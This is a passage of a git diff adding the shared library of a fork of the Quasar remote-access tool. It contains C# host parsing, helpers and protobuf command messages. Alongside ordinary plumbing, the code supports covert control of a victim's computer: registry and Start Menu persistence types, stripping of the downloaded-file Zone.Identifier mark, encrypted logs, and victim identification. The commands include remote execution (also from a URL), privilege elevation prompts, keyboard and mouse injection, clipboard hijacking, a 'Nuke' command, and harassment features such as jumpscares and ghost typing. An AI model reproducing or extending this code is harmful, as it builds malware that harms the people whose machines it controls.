(!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host + + hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port }); + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Quasar.Common/DNS/HostsManager.cs b/Quasar.Common/DNS/HostsManager.cs new file mode 100644 index 0000000..182895a --- /dev/null +++ b/Quasar.Common/DNS/HostsManager.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + + public HostsManager(List hosts) + { + foreach(var host in hosts) + _hosts.Enqueue(host); + } + + public Host GetNextHost() + { + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); // add to the end of the queue + + temp.IpAddress = ResolveHostname(temp); + return temp; + } + + private static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + IPAddress ip; + if (IPAddress.TryParse(host.Hostname, out ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6) + { + if (!Socket.OSSupportsIPv6) return null; + } + return ip; + } + + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + /* Only use resolved IPv6 if no IPv4 address available, + * otherwise it could be possible that the router the client + * is using to connect to the internet doesn't support IPv6. + */ + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + + return ip; + } + } +} diff --git a/Quasar.Common/Enums/AccountType.cs b/Quasar.Common/Enums/AccountType.cs new file mode 100644 index 0000000..19c3eec --- /dev/null +++ b/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar.Common/Enums/ConnectionState.cs b/Quasar.Common/Enums/ConnectionState.cs new file mode 100644 index 0000000..ce42099 --- /dev/null +++ b/Quasar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Quasar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Quasar.Common/Enums/ContentType.cs b/Quasar.Common/Enums/ContentType.cs new file mode 100644 index 0000000..7782512 --- /dev/null +++ b/Quasar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Quasar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Quasar.Common/Enums/FileType.cs b/Quasar.Common/Enums/FileType.cs new file mode 100644 index 0000000..be4b085 --- /dev/null +++ b/Quasar.Common/Enums/FileType.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum FileType + { + File, + Directory, + Back + } +} diff --git a/Quasar.Common/Enums/MouseAction.cs b/Quasar.Common/Enums/MouseAction.cs new file mode 100644 index 0000000..85d1e84 --- /dev/null +++ b/Quasar.Common/Enums/MouseAction.cs @@ -0,0 +1,14 @@ +namespace Quasar.Common.Enums +{ + public enum MouseAction + { + LeftDown, + LeftUp, + RightDown, + RightUp, + MoveCursor, + ScrollUp, + ScrollDown, + None + } +} diff --git a/Quasar.Common/Enums/ProcessAction.cs b/Quasar.Common/Enums/ProcessAction.cs new file mode 100644 index 0000000..048ae73 --- /dev/null +++ b/Quasar.Common/Enums/ProcessAction.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum ProcessAction + { + Start, + End + } +} diff --git a/Quasar.Common/Enums/ShutdownAction.cs b/Quasar.Common/Enums/ShutdownAction.cs new file mode 100644 index 0000000..d87fddd --- /dev/null +++ b/Quasar.Common/Enums/ShutdownAction.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum ShutdownAction + { + Shutdown, + Restart, + Standby + } +} diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs new file mode 100644 index 0000000..983be5e --- /dev/null +++ b/Quasar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Quasar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Quasar.Common/Enums/UserStatus.cs b/Quasar.Common/Enums/UserStatus.cs new file mode 100644 index 0000000..da72609 --- /dev/null +++ b/Quasar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Quasar.Common/Extensions/DriveTypeExtensions.cs b/Quasar.Common/Extensions/DriveTypeExtensions.cs new file mode 100644 index 0000000..270aa21 --- /dev/null +++ b/Quasar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Quasar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Quasar.Common/Extensions/SocketExtensions.cs b/Quasar.Common/Extensions/SocketExtensions.cs new file mode 100644 index 0000000..8b00f9b --- /dev/null +++ b/Quasar.Common/Extensions/SocketExtensions.cs @@ -0,0 +1,48 @@ +using System; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +namespace Quasar.Common.Extensions +{ + /// + /// Socket Extension for KeepAlive + /// + /// Abdullah Saleem + /// a.saleem2993@gmail.com + public static class SocketExtensions + { + /// + /// A structure used by SetKeepAliveEx Method + /// + [StructLayout(LayoutKind.Sequential)] + internal struct TcpKeepAlive + { + internal uint onoff; + internal uint keepalivetime; + internal uint keepaliveinterval; + }; + + /// + /// Sets the Keep-Alive values for the current tcp connection + /// + /// Current socket instance + /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. + /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. + public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) + { + var keepAlive = new TcpKeepAlive + { + onoff = 1, + keepaliveinterval = keepAliveInterval, + keepalivetime = keepAliveTime + }; + int size = Marshal.SizeOf(keepAlive); + IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); + var buffer = new byte[size]; + Marshal.Copy(keepAlivePtr, buffer, 0, size); + Marshal.FreeHGlobal(keepAlivePtr); + socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); + } + } +} diff --git a/Quasar.Common/Extensions/StringExtensions.cs b/Quasar.Common/Extensions/StringExtensions.cs new file mode 100644 index 0000000..97ca127 --- /dev/null +++ b/Quasar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +using Quasar.Common.Enums; + +namespace Quasar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Quasar.Common/Helpers/FileHelper.cs b/Quasar.Common/Helpers/FileHelper.cs new file mode 100644 index 0000000..b583e1e --- /dev/null +++ b/Quasar.Common/Helpers/FileHelper.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Cryptography; +using System.IO; +using System.Linq; +using System.Text; + +namespace Quasar.Common.Helpers +{ + public static class FileHelper + { + /// + /// List of illegal path characters. + /// + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + /// + /// Indicates if the given path contains illegal characters. + /// + /// The path to check. + /// Returns true if the path contains illegal characters, otherwise false. + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + /// + /// Gets a random file name. + /// + /// The length of the file name. + /// The file extension including the dot, e.g. .exe. + /// The random file name. + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + /// + /// Gets a path to an unused temp file. + /// + /// The file extension including the dot, e.g. .exe. + /// The path to the temp file. + public static string GetTempFilePath(string extension) + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + /// + /// Indicates if the given file header contains the executable identifier (magic number) 'MZ'. + /// + /// The binary file to check. + /// Returns true for valid executable identifiers, otherwise false. + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + /// + /// Deletes the zone identifier for the given file path. + /// + /// The file path. + /// Returns true if the deletion was successful, otherwise false. + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + /// The AES instance. + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + /// The AES instance. + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + } +} diff --git a/Quasar.Common/Helpers/PlatformHelper.cs b/Quasar.Common/Helpers/PlatformHelper.cs new file mode 100644 index 0000000..14f4a7f --- /dev/null +++ b/Quasar.Common/Helpers/PlatformHelper.cs @@ -0,0 +1,120 @@ +using System; +using System.Management; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class PlatformHelper + { + /// + /// Initializes the class. + /// + static PlatformHelper() + { + Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; + XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5; + VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6; + SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); + EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); + EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); + TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); + RunningOnMono = Type.GetType("Mono.Runtime") != null; + + Name = "Unknown OS"; + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + Name = os["Caption"].ToString(); + break; + } + } + + Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start + Is64Bit = Environment.Is64BitOperatingSystem; + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; + } + + /// + /// Gets the full name of the operating system running on this computer (including the edition and architecture). + /// + public static string FullName { get; } + + /// + /// Gets the name of the operating system running on this computer (including the edition). + /// + public static string Name { get; } + + /// + /// Determines whether the Operating System is 32 or 64-bit. + /// + /// + /// true if the Operating System is 64-bit, otherwise false for 32-bit. + /// + public static bool Is64Bit { get; } + + /// + /// Returns a indicating whether the application is running in Mono runtime. + /// + /// + /// true if the application is running in Mono runtime; otherwise, false. + /// + public static bool RunningOnMono { get; } + + /// + /// Returns a indicating whether the Operating System is Windows 32 NT based. + /// + /// + /// true if the Operating System is Windows 32 NT based; otherwise, false. + /// + public static bool Win32NT { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows XP or higher. + /// + /// + /// true if the Operating System is Windows XP or higher; otherwise, false. + /// + public static bool XpOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows Vista or higher. + /// + /// + /// true if the Operating System is Windows Vista or higher; otherwise, false. + /// + public static bool VistaOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 7 or higher. + /// + /// + /// true if the Operating System is Windows 7 or higher; otherwise, false. + /// + public static bool SevenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8 or higher. + /// + /// + /// true if the Operating System is Windows 8 or higher; otherwise, false. + /// + public static bool EightOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. + /// + /// + /// true if the Operating System is Windows 8.1 or higher; otherwise, false. + /// + public static bool EightPointOneOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 10 or higher. + /// + /// + /// true if the Operating System is Windows 10 or higher; otherwise, false. + /// + public static bool TenOrHigher { get; } + } +} diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs new file mode 100644 index 0000000..e6f9ccc --- /dev/null +++ b/Quasar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +using Quasar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs new file mode 100644 index 0000000..495b419 --- /dev/null +++ b/Quasar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs new file mode 100644 index 0000000..69ef36a --- /dev/null +++ b/Quasar.Common/Messages/ClientIdentification.cs @@ -0,0 +1,44 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentification : IMessage + { + [ProtoMember(1)] + public string Version { get; set; } + + [ProtoMember(2)] + public string OperatingSystem { get; set; } + + [ProtoMember(3)] + public string AccountType { get; set; } + + [ProtoMember(4)] + public string Country { get; set; } + + [ProtoMember(5)] + public string CountryCode { get; set; } + + [ProtoMember(6)] + public int ImageIndex { get; set; } + + [ProtoMember(7)] + public string Id { get; set; } + + [ProtoMember(8)] + public string Username { get; set; } + + [ProtoMember(9)] + public string PcName { get; set; } + + [ProtoMember(10)] + public string Tag { get; set; } + + [ProtoMember(11)] + public string EncryptionKey { get; set; } + + [ProtoMember(12)] + public byte[] Signature { get; set; } + } +} diff --git a/Quasar.Common/Messages/ClientIdentificationResult.cs b/Quasar.Common/Messages/ClientIdentificationResult.cs new file mode 100644 index 0000000..c44638b --- /dev/null +++ b/Quasar.Common/Messages/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentificationResult : IMessage + { + [ProtoMember(1)] + public bool Result { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoAskElevate.cs b/Quasar.Common/Messages/DoAskElevate.cs new file mode 100644 index 0000000..69f91cf --- /dev/null +++ b/Quasar.Common/Messages/DoAskElevate.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAskElevate : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoCdTray.cs b/Quasar.Common/Messages/DoCdTray.cs new file mode 100644 index 0000000..4e051c3 --- /dev/null +++ b/Quasar.Common/Messages/DoCdTray.cs @@ -0,0 +1,10 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCdTray : IMessage + { + [ProtoMember(1)] public int Count { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoClientDisconnect.cs b/Quasar.Common/Messages/DoClientDisconnect.cs new file mode 100644 index 0000000..6ba6745 --- /dev/null +++ b/Quasar.Common/Messages/DoClientDisconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoClientReconnect.cs b/Quasar.Common/Messages/DoClientReconnect.cs new file mode 100644 index 0000000..085c402 --- /dev/null +++ b/Quasar.Common/Messages/DoClientReconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoClientUninstall.cs b/Quasar.Common/Messages/DoClientUninstall.cs new file mode 100644 index 0000000..eb10b68 --- /dev/null +++ b/Quasar.Common/Messages/DoClientUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar.Common/Messages/DoCloseConnection.cs new file mode 100644 index 0000000..a764981 --- /dev/null +++ b/Quasar.Common/Messages/DoCloseConnection.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCloseConnection : IMessage + { + [ProtoMember(1)] + public string LocalAddress { get; set; } + + [ProtoMember(2)] + public ushort LocalPort { get; set; } + + [ProtoMember(3)] + public string RemoteAddress { get; set; } + + [ProtoMember(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoExecute.cs b/Quasar.Common/Messages/DoExecute.cs new file mode 100644 index 0000000..776cf97 --- /dev/null +++ b/Quasar.Common/Messages/DoExecute.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoExecute : IMessage + { + [ProtoMember(1)] + public string FilePath { get; set; } + + [ProtoMember(2)] + public bool IsUrl { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoGhostTyping.cs b/Quasar.Common/Messages/DoGhostTyping.cs new file mode 100644 index 0000000..3b3c39d --- /dev/null +++ b/Quasar.Common/Messages/DoGhostTyping.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoGhostTyping : IMessage { } +} diff --git a/Quasar.Common/Messages/DoJumpscare.cs b/Quasar.Common/Messages/DoJumpscare.cs new file mode 100644 index 0000000..d779580 --- /dev/null +++ b/Quasar.Common/Messages/DoJumpscare.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoJumpscare : IMessage + { + [ProtoMember(1)] + public byte[] WavData { get; set; } + + [ProtoMember(2)] + public byte[] GifData { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoKeyboardEvent.cs b/Quasar.Common/Messages/DoKeyboardEvent.cs new file mode 100644 index 0000000..0b11bd6 --- /dev/null +++ b/Quasar.Common/Messages/DoKeyboardEvent.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoKeyboardEvent : IMessage + { + [ProtoMember(1)] + public byte Key { get; set; } + + [ProtoMember(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoLockScreen.cs b/Quasar.Common/Messages/DoLockScreen.cs new file mode 100644 index 0000000..883bb45 --- /dev/null +++ b/Quasar.Common/Messages/DoLockScreen.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoLockScreen : IMessage { } +} diff --git a/Quasar.Common/Messages/DoMouseEvent.cs b/Quasar.Common/Messages/DoMouseEvent.cs new file mode 100644 index 0000000..0f17a56 --- /dev/null +++ b/Quasar.Common/Messages/DoMouseEvent.cs @@ -0,0 +1,24 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoMouseEvent : IMessage + { + [ProtoMember(1)] + public MouseAction Action { get; set; } + + [ProtoMember(2)] + public bool IsMouseDown { get; set; } + + [ProtoMember(3)] + public int X { get; set; } + + [ProtoMember(4)] + public int Y { get; set; } + + [ProtoMember(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoMouseSwap.cs b/Quasar.Common/Messages/DoMouseSwap.cs new file mode 100644 index 0000000..e76154b --- /dev/null +++ b/Quasar.Common/Messages/DoMouseSwap.cs @@ -0,0 +1,10 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoMouseSwap : IMessage + { + [ProtoMember(1)] public bool Swap { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoNuke.cs b/Quasar.Common/Messages/DoNuke.cs new file mode 100644 index 0000000..8cdccac --- /dev/null +++ b/Quasar.Common/Messages/DoNuke.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoNuke : IMessage { } +} diff --git a/Quasar.Common/Messages/DoPlayNote.cs b/Quasar.Common/Messages/DoPlayNote.cs new file mode 100644 index 0000000..c9dcee2 --- /dev/null +++ b/Quasar.Common/Messages/DoPlayNote.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPlayNote : IMessage + { + [ProtoMember(1)] public int Frequency { get; set; } + [ProtoMember(2)] public int DurationMs { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoSetWallpaper.cs b/Quasar.Common/Messages/DoSetWallpaper.cs new file mode 100644 index 0000000..5925353 --- /dev/null +++ b/Quasar.Common/Messages/DoSetWallpaper.cs @@ -0,0 +1,10 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSetWallpaper : IMessage + { + [ProtoMember(1)] public byte[] ImageData { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoShowMessageBox.cs b/Quasar.Common/Messages/DoShowMessageBox.cs new file mode 100644 index 0000000..59df643 --- /dev/null +++ b/Quasar.Common/Messages/DoShowMessageBox.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShowMessageBox : IMessage + { + [ProtoMember(1)] + public string Caption { get; set; } + + [ProtoMember(2)] + public string Text { get; set; } + + [ProtoMember(3)] + public string Button { get; set; } + + [ProtoMember(4)] + public string Icon { get; set; } + + [ProtoMember(5)] + public int Count { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoStartBeepSpam.cs b/Quasar.Common/Messages/DoStartBeepSpam.cs new file mode 100644 index 0000000..9ff38f5 --- /dev/null +++ b/Quasar.Common/Messages/DoStartBeepSpam.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartBeepSpam : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartClipboardHijack.cs b/Quasar.Common/Messages/DoStartClipboardHijack.cs new file mode 100644 index 0000000..3c27dfc --- /dev/null +++ b/Quasar.Common/Messages/DoStartClipboardHijack.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartClipboardHijack : IMessage + { + [ProtoMember(1)] + public string ReplacementText { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoStartColorInvert.cs b/Quasar.Common/Messages/DoStartColorInvert.cs new file mode 100644 index 0000000..ba4c801 --- /dev/null +++ b/Quasar.Common/Messages/DoStartColorInvert.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartColorInvert : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartCursorChaos.cs b/Quasar.Common/Messages/DoStartCursorChaos.cs new file mode 100644 index 0000000..79b4bf7 --- /dev/null +++ b/Quasar.Common/Messages/DoStartCursorChaos.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartCursorChaos : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartDesktopStream.cs b/Quasar.Common/Messages/DoStartDesktopStream.cs new file mode 100644 